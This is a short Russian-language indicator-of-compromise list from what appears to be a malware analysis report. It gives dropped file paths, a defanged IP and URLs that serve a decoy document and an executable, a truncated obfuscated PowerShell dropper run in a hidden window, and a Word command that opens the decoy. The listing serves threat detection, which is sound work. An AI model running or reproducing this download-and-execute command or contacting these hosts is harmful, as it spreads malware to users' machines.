Техническая информация
- %APPDATA%\document.docx
- %APPDATA%\~$cument.docx
- '18#.#06.123.76':80
- http://18#.#06.123.76/Document.docx
- http://18#.#06.123.76/Kyssene3.exe
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy UnRestricted function vTqhXguMH($ytPyKZbti, $aBPjGNSQkdxlXz){[IO.File]::WriteAllBytes($ytPyKZbti, $aBPjGNSQkdxlXz)};function NvbPeMi($ytPyKZbti){if($ytPyKZbti.EndsWith((PFBvgPm...' (со скрытым окном)
- '%ProgramFiles%\microsoft office\office14\winword.exe' /n "%APPDATA%\Document.docx"